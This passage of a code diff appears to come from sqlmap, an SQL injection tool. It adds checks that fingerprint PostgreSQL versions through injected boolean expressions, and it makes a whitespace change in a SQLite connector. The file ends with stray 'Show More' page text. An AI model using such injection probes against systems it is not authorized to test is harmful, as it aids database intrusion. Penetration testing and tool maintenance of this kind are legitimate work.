+            elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"):
+                Backend.setVersionList([">= 9.5.0", "< 9.6.0"])
            elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"):
                Backend.setVersionList([">= 9.4.0", "< 9.5.0"])
            elif inject.checkBooleanExpression("ARRAY_REPLACE(NULL,1,1) IS NULL"):
@@ -19,7 +19,6 @@ from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapMissingDependence
 from plugins.generic.connector import Connector as GenericConnector

-
 class Connector(GenericConnector):
    """
    Homepage: http://pysqlite.googlecode.com/ and http://packages.ubuntu.com/quantal/python-sqlite
--- a/Show More
+++ b/Show More